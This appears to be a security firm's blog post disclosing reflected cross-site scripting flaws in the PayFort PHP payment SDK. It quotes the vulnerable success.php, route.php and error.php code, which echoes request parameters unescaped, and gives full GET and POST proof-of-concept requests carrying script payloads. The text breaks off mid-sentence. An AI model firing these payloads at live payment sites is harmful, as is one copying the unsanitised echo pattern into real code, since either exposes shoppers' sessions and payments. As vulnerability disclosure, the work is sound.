TL;DR A year ago we have been contacted by one of our clients from Middle east regarding looking for/implementing a payment processing solution for their own eCommerce solution and asked us to assist them in order to give them some candidates working in the same field in the middle east but we refused because our job is to assess not to suggest specific names, they suggested us some names but one among those names were a name-with-a-reputation but they ended up not choosing this name due to insecure implementation.
As mentioned in the TL;DR section we have been contacted by an eCommerce-like company during our security consultation period with them and during this period of time we have discovered and helped our client to choose the right payment processor for their company.
First, What is payment processor?
A payment processor is a company (often a third party) appointed by a merchant to handle transactions from various channels such as credit cards and debit cards for merchant acquiring banks. They are usually broken down into two types: front-end and back-end.
Front-end processors have connections to various card associations and supply authorization and settlement services to the merchant banks’ merchants. Back-end processors accept settlements from front-end processors and, via The Federal Reserve Bank for example, move the money from the issuing bank to the merchant bank.
In an operation that will usually take a few seconds, the payment processor will both check the details received by forwarding them to the respective card’s issuing bank or card association for verification, and also carry out a series of anti-fraud measures against the transaction.
Additional parameters, including the card’s country of issue and its previous payment history, are also used to gauge the probability of the transaction being approved.
Once the payment processor has received confirmation that the credit card details have been verified, the information will be relayed back via the payment gateway to the merchant, who will then complete the payment transaction. If verification is denied by the card association, the payment processor will relay the information to the merchant, who will then decline the transaction.
Among the suggested names our client gave us was “Payfort” and we were asked to help them checking the security of the implementation of their SDK into the client company code.
PayFort is an Amazon company and a trusted online payment gateway enabling businesses, governments, SMEs, startups and institutions with innovative payment options for both the banked and non-banked online shoppers.
We work with our customers first by understanding both their financial and revenue model; identify areas of risk exposure, and payment processes in order to formulate strategies to maximize online payment acceptance. We work under the notion that “People are different” thus we help our merchants in offering different payment options that mirror their online shoppers behavior for both credit card and non-credit cardholders.
Our team is comprised of seasoned bankers, technology gurus, and risk management experts that have been helping hundreds of firms manage and innovate their online payment process.
During a quick trial security assessment of Payfort opensource php SDK (our work was not to touch anything related to Payfort.com or any company owned front-facing assets because that wasn’t our scope or interest) and from the first glimpse our team discovered multiple Cross-Site Scripting vulnerabilities that means ANY business implements this SDK will be vulnerable to XSS hence the payment process itself could be hijacked.
Payfort Payment Processor Implementation ( source )
What is Cross-Site Scripting vulnerabilities?
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
If you are interested in more related information you can read this great article by “dzone.com” entitled “ Cross-Site Scripting (XSS) Can Steal Payment Info From Payment Processors ”
Let’s see what the PCI/DSS compliance says about Cross-Site Scripting vulnerabilities then we dive into the technical details but first what is PCI/DSS (Payment Card Industry (PCI) Data Security Standard)?
The PCI Standard is mandated by the card brands and administered by the Payment Card Industry Security Standards Council. The standard was created to increase controls around cardholder data to reduce credit card fraud. Validation of compliance is performed annually, either by an external Qualified Security Assessor (QSA) or by a firm specific Internal Security Assessor (ISA) that creates a Report on Compliance for organizations handling large volumes of transactions, or by Self-Assessment Questionnaire (SAQ) for companies handling smaller volumes.
In the latest version of PCI/DSS document (3.2.1 ) the document Cross-Site Scripting (XSS) is indicated in point (6.5.7) as one of the Web Application threats that if it happens and you have it in your web application, congratulations you are not in compliance with PCI/DSS which is in our blog-post will be caused by implementing a vulnerable SDK code for example, funny thing that the vulnerable code is the payment processing one!
Let’s dive into the technical details, the vulnerable SDK code can be found here (with lots of issues opened and closed related to security concerns): https://github.com/payfort/payfort-php-sdk
Note: We haven’t touched the other SDKs which we are sure that there are some security problems involved in their code too but our focus was on the PHP one since our client app was written in PHP and not based on any eCommerce script/framework eg. WooComerce, Magento, OpenCart, etc…
The SDK contains those files:
During our test we found that “success.php”, “route.php”, “error.php”, etc…
Poorly coded PHP files, missing coding best practices were found during our source code review the SDK files and they are as follow:
1st, 2nd vulnerabilities resides in file “success.php” (lines 16, 36)
<?php include('header.php') ?><section class="nav">
<ul>
<li class="lead" > Payment Method</li>
<li class="lead" > Pay</li>
<li class="active lead" > Done</li>
</ul>
</section>
<section class="confirmation">
<label class="success" for="" >Success</label>
<!-- <label class="failed" for="" >Failed</label> -->
<small>Thank You For Your Order</small>
</section>
<section class="order-confirmation">
<label for="" class="lead">Order ID : <?php echo $_REQUEST['fort_id']?></label>
</section>
<div class="h-seperator"></div>
<section class="details">
<h3>Response Details</h3>
<br/>
<table>
<tr>
<th>
Parameter Name
</th>
<th>
Parameter Value
</th>
</tr>
<?php
foreach($_REQUEST as $k => $v) {
echo "<tr>";
echo "<td>$k</td><td>$v</td>";
echo "</tr>";
}
?>
</table>
</section>
<div class="h-seperator"></div>
<section class="actions">
<a class="btm" href="index.php">New Order</a>
</section>
<?php include('footer.php') ?>
vulnerable code resides in thehighlighted line “36” where the value of each sent parameter and its value are being echoed as it is by echo “<td>$k</td><td>$v</td>”; without being sanitized so to exploit this vulnerability an attacker may send a request like this one:
GET /payfort-php-sdk-master/success.php?<script>alert('533kurity')</script>=<script>alert('533kurity')</script> HTTP/1.1Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/payfort-php-sdk-master/
and
GET /payfort-php-sdk-master/success.php?fort_id=<script>alert('533kurity')</script> HTTP/1.1Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/payfort-php-sdk-master/
which is a known and reported issue by user jgj212 back in Feb, 2017
and the issue were closed by one of PAYFORT’s developers justifying:
Hello Thank you for your feedback , the page you are targeting is a simulator page created to help developers to list parameters returned during the integration Best Regards,which is another missing-best-practices issue because leaving a vulnerable file even if it is only meant for developers, not documented and being publicly accessed as a client asset is totally wrong and leads us to VULNERABLE-BY-DESIGN issue!
3rd vulnerability resides in file “route.php” (line 12)
<?php/**
* @copyright Copyright PayFort 2012-2016
*/
if(!isset($_REQUEST['r'])) {
echo 'Page Not Found!';
exit;
}
require_once 'PayfortIntegration.php';
$objFort = new PayfortIntegration();
if($_REQUEST['r'] == 'getPaymentPage') {
$objFort->processRequest($_REQUEST['paymentMethod']);
}
elseif($_REQUEST['r'] == 'merchantPageReturn') {
$objFort->processMerchantPageResponse();
}
elseif($_REQUEST['r'] == 'processResponse') {
$objFort->processResponse();
}
else{
echo 'Page Not Found!';
exit;
}
?> vulnerable POST based code resides in thehighlighted line “12” where the value of “paymentMethod” is being echoed as it is by this line of code $objFort->processRequest($_REQUEST[‘paymentMethod’]) without being sanitized so to exploit this vulnerability an attacker may send a request like this one: POST /payfort-php-sdk-master/route.php?r=getPaymentPage HTTP/1.1
Host: localhost
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 61
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Referer: http://localhost/payfort-php-sdk-master/
X-Requested-With: XMLHttpRequest
paymentMethod=<script>alert('533kurity')</script>
4th, 5th vulnerabilities resides in file “error.php” (lines 19, 40)
<?php include('header.php') ?><section class="nav">
<ul>
<li class="lead" > Payment Method</li>
<li class="active lead" > Done</li>
</ul>
</section>
<section class="confirmation">
<label class="failed" for="" >Payment Failed</label>
<!-- <label class="failed" for="" >Failed</label> -->
<small>Error while processing your payment</small>
</section>
<div class="h-seperator"></div>
<?php if(isset($_REQUEST['error_msg'])) : ?>
<section>
<div class="error"><?php echo $_REQUEST['error_msg']?></div>
</section>
<div class="h-seperator"></div>
<?php endif; ?>
<?php if(isset($_REQUEST['merchant_reference'])): ?>
<section class="details">
<h3>Response Details</h3>
<br/>
<table>
<tr>
<th>
Parameter Name
</th>
<th>
Parameter Value
</th>
</tr>
<?php
foreach($_REQUEST as $k => $v) {
echo "<tr>";
echo "<td>$k</td><td>$v</td>";
echo "</tr>";
}
?>
</table>
</section>
<?php endif; ?>
<div class="h-seperator"></div>
<section class="actions">
<a class="btm" href="index.php">New Order</a>
</section>
<?php include('footer.php') ?> vul